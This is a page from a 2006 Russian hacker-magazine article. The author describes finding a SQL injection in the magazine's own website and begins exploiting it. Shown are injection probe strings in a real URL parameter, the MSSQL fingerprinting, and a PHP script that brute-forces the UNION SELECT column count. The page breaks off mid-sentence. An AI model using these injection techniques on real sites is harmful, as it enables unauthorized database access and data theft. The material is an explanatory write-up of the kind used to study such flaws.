Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #88, АПРЕЛЬ 2006 г.

Как нас поимели

ZaCo (zaco@yandex.ru)

Хакер, номер #088, стр. 088-056-2


Когда я убрал все кавычки, передо мной предстала страница с мылом, введенным при регистрации, и сообщение, которое предстояло редактировать. Адрес в строке браузера при этом выглядел вот так:

www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046&code_rate=RRT175481&backto=http://www.xakep.ru/post/30242/default.asp

Совершенно ясно, что параметр code_opinion содержит идентификатор сообщения. Очевидно, что передается строка, поэтому сначала я подставил ORT116046'--. Запрос, как и следовало ожидать, выполнился без ошибок. Продолжая изыскания, я решил подставить ORT116046'%2b' , где %2b - 16-ричное представление знака «+». Теперь можно сказать, что на 80% этот параметр подвержен sql-injection атаке. Теперь подставим такую строчку: ORT116046'and(1=1). В этот раз все прошло без запинки. При подстановке в code_opinion ORT116046'and(2=1) я увидел лишь надпись «Мнения не найдено».

Отлично! Параметр 100% не фильтруется. Но возможно ли провернуть через это полноценную атаку?

[сбор данных]

Если вовремя определить sql-сервер, то это сэкономит очень много драгоценного времени, поэтому займемся именно этим. По расширению asp можно догадаться, что сервер крутится под виндой. Хотя это все может быть и подставой, но в http-ответе можно наблюдать такую строчку: Server=Microsoft-IIS/6.0, что подтверждало мои догадки. Было так же совершенно ясно, что на этом виндовом проекте в качестве сервера БД используется MSSQL (я понял это во время экспериментов с запросами: выполнялся оператор TOP, который присутствует только в MSSQL). Сейчас было самое время получить список интересующих меня имен таблиц и соответствующих им имен столбцов. Хорошо, что мы имеем дело с MSSQL - достать все интересующее сведения не составит труда, нужно лишь провести красивый UNION SELECT. Перебирать количество столбцов копи/пастом мне было лень, поэтому я написал маленький скрипт на php:

<?php

for($i=0;$i<30;$i++)

{

$s='GET http://www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046\'%20UNION%20SELECT%20'.'null'.str_repeat(',null',$i).'-- HTTP/1.0';

$f=fsockopen('xakep.ru', 80);//хост, 80 - порт

fwrite($f,$s."\r\n\r\n");

$get=fgets($f,12);

if(substr($get,9,3)!='500'){echo($s);break;}

fclose($f);//закрываем

}

?>

Объясню вкратце: скрипт делает перебор null'ов до тех пор, пока запрос не выполнится без ошибки, то есть мы не увидим надписи «Внутреняя ошибка сервера». Удивило меня то, что ждать долго не пришлось: столбцов в первоначальном SELECT'е было всего восемь. Дело осталось за малым. Написав в строке браузера

Назад на стр. 088-056-1  Содержание  Вперед на стр. 088-056-3